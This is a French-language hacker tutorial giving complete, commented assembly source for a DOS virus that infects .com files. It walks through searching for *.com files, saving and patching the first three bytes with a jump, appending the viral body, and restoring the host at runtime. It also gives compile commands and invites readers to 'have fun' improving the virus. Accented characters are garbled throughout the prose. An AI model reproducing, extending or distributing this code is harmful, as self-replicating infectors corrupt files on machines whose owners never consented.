<---------------------------------> Virus: Infecteurs .com <---------------------------------> Voila mon premier article sur les virus, je commence par les infecteurs de .com car ce sont les plus simples, aprŠs on fera les .exe et aprŠs on verra ;). La premiŠre chose … savoir sur les virus c'est qu'ils s'ecrivent en assembleur, pour la simple raison que c plus petit(on va pas faire des 'virus' de 400 Ko comme JC'zic ;)). Mais tout d'abord ‚tudions ce que fera l'infection: Avant infection: ************ ************* * mov ax, * * jump * * 1234 * * virus * ************ ************* * * * * < file * Fichier * * Fichier * * Clean * * infect‚ * * * * * ************ ************* * Virus * < virus ************* * mov ax, * * 1234 * ************* * jump * * file * ************* Essayez de bien vous mettre ce sch‚ma en tˆte car il est important! Donc en fait notre programme marche de la fa‡on suivante lors de l'infection, il sauvegarde les 3 premiers bytes, et les remplacent par un saut sur la fin du fichier, et l… il s'‚crit dans le fichier... Lors de l'execution donc le saut aura lieu, le virus s'execute(infecte d'autres fichiers ;) ) et ensuite remplace(en m‚moire) les bytes qu'il avait remplac‚ par les originaux et saute … 100h...et donc le prog s'execute normallement Du code, du code!!! Bon ‡a va les mioches le voil… :)) ****************************************************************************** code segment ; SEGMENT DE CODE assume cs:code,ds:code ;CS ET DS POINTENT TOUT LES 2 SUR CODE org 100h ;LES FICHIER COM COMMENCENT A 100H debut: db 0e9h,0,0 ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR ;FAIRE COMME SI LE PROGRAMME ETAIT ;INFECTE, IL SAUTE ICI AU PROCHAINE BYTE ;DONC A VIRUS CE QUI NE POSE AUCUN PROB virus: call depart_virus ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT ;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME ;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST ;MISE SUR LA PILE) depart_virus: pop bp ;RECUPERE JUSTEMENT CETTE VALEURE sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART ;VIRUS POUR OBTENIR LE DEBUT DU CODE ;DU VIRUS... remet_3_bytes: mov cx,3 ;VA DEPLACER 3 OCTETS lea si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX mov di,100h ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT ;A 100h...) rep movsb ;REMET LES OCTETS ORIGINAUX init_dta: lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place mov ah,1ah ;FONCTION 1Ah int 21h ;LANCE L'INTERRUPTION trouve: mov ah,4eh ;PREMIERE RECHERCHE lea dx,[bp+comsig] ;MET LE NOM DU FICHIER QU'ON CHERCHE ;DANS DX(ici *.com) mov cx,7 ;RECHERCHE UN FICHIER AVEC N'IMPORTE ;QUELLE ATTRIBUTS... cherche: int 21h ;LANCE LA RECHERCHE jnc ouvre ;SI FICHIER TROUVE SAUTE A ouvre jmp fin_cherche ;SINON VA A fin_cherche ouvre: mov ax,3d02h ;FONCTION 3Dh lea dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM ;DU FICHIER TROUVE int 21h ;LANCE L'INTERRUPTION mov bx,ax ;MET BX DANS AX mov ah,3fh ;LIT LES 3 BYTES QUI VONT CHANGE lea dx,[bp+troisbytes] ;ET PIS LES MET DANS troisbytes mov cx,3 int 21h ;EFFECTUE LA LECTURE mov ax,word ptr [bp+dta_place+1ah] ;MET DANS AX LA TAILLE DU FICHIER mov cx,word ptr [bp+troisbytes+1] ;MET DANS CX LES 2 DERNIERS BYTES ;DU JUMP DONC LA TAILLE DU ;FICHIER SI INFECTE add cx,end_virus-virus+3 ;Y AJOUTE LA TAILLE DU VIRUS cmp ax,cx ;COMPARE LES 2 jz ferme ;SI EGALE ALORS INFECTE sub ax,3 ;ENLEVE TROIS A LA TAILLE ;CAR NOUS LES AVONS DEJA LUS mov word ptr [bp+newjump+1],ax ;MET DANS LES 2 DERNIERS BYTES ;DE NEWJUMP LA TAILLE DU FICHIER ;ET DONC CALCULE LE SAUT QUI ;REMPLACERA LES 3 bytes mov ax,4200h ;VA AU DEBUT DU FICHIER xor cx,cx xor dx,dx int 21h mov ah,40h ;ET ECRIT LES 3 BYTES mov cx,3 lea dx,[bp+newjump] int 21h mov ax,4202h ;VA A LA FIN DU FICHIER xor cx,cx xor dx,dx int 21h mov ah,40h ;ET ECRIT LE VIRUS mov cx,end_virus-virus ;TAILLE DU VIRUS lea dx,[bp+virus] ;POINTE SUR VIRUS int 21h ferme: mov ah,3eh ;FERME LE FICHIER int 21h mov ah,4fh ;CHERCHE PROCHAIN FICHIER jmp cherche fin_cherche: mov dx,80h ;REMET LE DTA A SA PLACE ;) mov ah,1ah int 21h mov di,100h jmp di comsig db '*.com',0 troisbytes db 0cdh,20h,0 newjump db 0e9h,0,0 end_virus label near dta_place db 42 dup (?) code ENDS END debut ****************************************************************************** Pour compiler: -------------- tasm Virus.asm tlink Virus.obj /t Bon voil… maintenant que vous avez le code source avec des explications sous les yeux je vais expliquer des choses en plus car j'ai pas eu la place d'en parler dans la source: ****************************************************************** pop bp ;RECUPERE JUSTEMENT CETTE VALEURE sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART ****************************************************************** En fait on fait ‡a car l'OFFSET depart_virus est un label et quand il est compil‚ par tasm il devient un nombre, mais quand nous infectons un fichier le virus se trouve … la fin du fichier et donc ce nombre n'est plus correct... Il faut donc trouver le deplacement par rapport au fichier courant, pour cela on recupere la vrais adresse de depart_virus et on lui soustrait l'ancienne pour obtenir le d‚but du virus dans le fichier...comme je sais que c'est assez dur … comprendre je vais vous faire une chtite explication: le fichier non-infect‚ fait 1000 octects l'adresse de depart_virus aprŠs compilation est 6 Une fois le virus lan‡‚ pop bp donc bp vaut 1006...on soustrait 6 et on obtient le d‚but du virus :). C clair cette fois non? ****************************************************************** lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place mov ah,1ah ;FONCTION 1Ah int 21h ;LANCE L'INTERRUPTION ****************************************************************** DTA est en fait une table qui vous permet d'avoir des informations sur le fichier ouvert, pour pouvoir l'utiliser il faut lui allouer une place et ‡a se fait via cette interruption...pour plus d'informations: DTA ------------------------------------------------------------ Offset Size Function 0h 21 Bytes Reserv‚ 15h 1 Byte Attributs du fichier 16h 2 Bytes(WORD) Time du fichier 18h 2 Bytes(WORD) Date du fichier 1Ah 4 Bytes(DWORD) Taille du fichier 1Eh 13 Bytes Nom du fichier ------------------------------------------------------------ Bon voil… vous pouvez vous amusez avec ce virus et l'ameliorer :). Bon amusement ;) Pour votre information le virus compil‚ fait 167 octets...compar‚ … la taupe de JC'zic(400 000 octets environs ;) )...hem ;) SaTaNiK http://www.multimania.com/gripsou/